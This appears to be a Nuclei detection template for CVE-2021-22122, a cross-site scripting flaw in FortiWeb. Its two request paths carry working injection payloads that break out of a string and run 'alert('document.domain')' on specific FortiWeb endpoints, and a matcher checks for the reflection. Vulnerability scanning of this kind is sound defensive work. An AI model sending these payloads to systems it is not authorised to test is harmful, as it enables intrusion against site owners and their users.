id: CVE-2021-22122

info:
  name: FortiWeb - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
  remediation: |
    Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-20-122
    - https://twitter.com/ptswarm/status/1357316793753362433
    - https://fortiguard.com/advisory/FG-IR-20-122
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22122
    cwe-id: CWE-79
    epss-score: 0.00609
    epss-percentile: 0.76329
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortiweb
  tags: cve,cve2021,fortiweb,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert('document.domain')"
          - "No policy has been chosen."
        condition: and
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